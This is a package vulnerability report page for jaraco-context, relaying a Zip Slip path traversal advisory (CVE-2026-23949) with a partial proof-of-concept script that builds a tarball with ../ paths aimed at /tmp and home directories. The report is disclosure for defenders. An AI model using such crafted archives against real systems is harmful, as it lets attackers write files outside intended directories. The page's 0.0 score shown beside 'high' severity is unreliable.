pypi package report

Is jaraco-context safe?

1 known vulnerability, worst severity HIGH.

// reach

13 direct dependencies

none carry a known advisory

    32 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    0.0
    high

    severity out of 10

    epss
    0.00%
    medium

    chance of exploitation in 30 days, 50th percentile of all CVEs

    xyz score
    0.0
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-58pv-8j8x-9vj2, the advisory selected below

    // 1 advisories

    GHSA-58pv-8j8x-9vj2

    HIGHCVE-2026-23949
    // summary

    There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.

    The code can be found:

    This report was also sent to setuptools maintainers and they asked some questions regarding this.

    The lengthy answer is:

    The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.

    The short answer is:

    If we are talking about Python

    // details

    The flow with setuptools in the mix:

    setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)
    // poc

    This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies:

    #!/usr/bin/env python3
    import tarfile
    import io
    import os
    import sys
    import shutil
    import tempfile
    from setuptools._vendor.jaraco.context import strip_first_component
    
    
    def create_malicious_tarball(traversal_to_root: str):
        tar_data = io.BytesIO()
        with tarfile.open(fileobj=tar_data, mode='w') as tar:
            # Create a malicious file path with traversal sequences
            malicious_files = [
                # Attempt 1: Simple traversal to /tmp
                {
                    'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',
                    'content': b'[ZIPSLIP] File written to /tmp via path traversal!',
                    'name': 'pwned_via_tmp'
                },
                # Attempt 2: Try to write to home directory
                {
                    'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',
                    'content': b'[ZIPSLIP] Attempted write to home directory',
                    'name': 'pwned_via_home'
                },
                # Attempt 3: Try to write to current directory parent
                {
                    'path': 'dummy_dir/../escaped.txt',
                    'content': b'[ZIPSLIP] File in parent directory!',
                    'name': 'pwned_escaped'
                },
                # Attempt 4: Legitimate file for comparison
                {
                    'path': 'dummy_dir/legitimate_file.txt',
                    'content': b'This file stays in target directory',
                    'name': 'legitimate'
                }
            ]
            for file_info in malicious_files:
                content = file_info['content']
                tarinfo = tarfile.TarInfo(name=file_info['path'])
                tarinfo.size = len(content)
                tar.addfile(tarinfo, io.BytesIO(content))
    
        tar_data.seek(0)
        return tar_data
    
    
    def exploit_zipslip():
        print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\")
    
        # Create temporary directory for extraction
        temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\")
        target_dir = os.path.join(temp_base, \
    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Changed
    Confidentiality
    High
    Integrity
    None
    Availability
    None

    Checked 2026-10-23 at 18:49 UTC. The most recent advisory here was published 2026-01-13. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.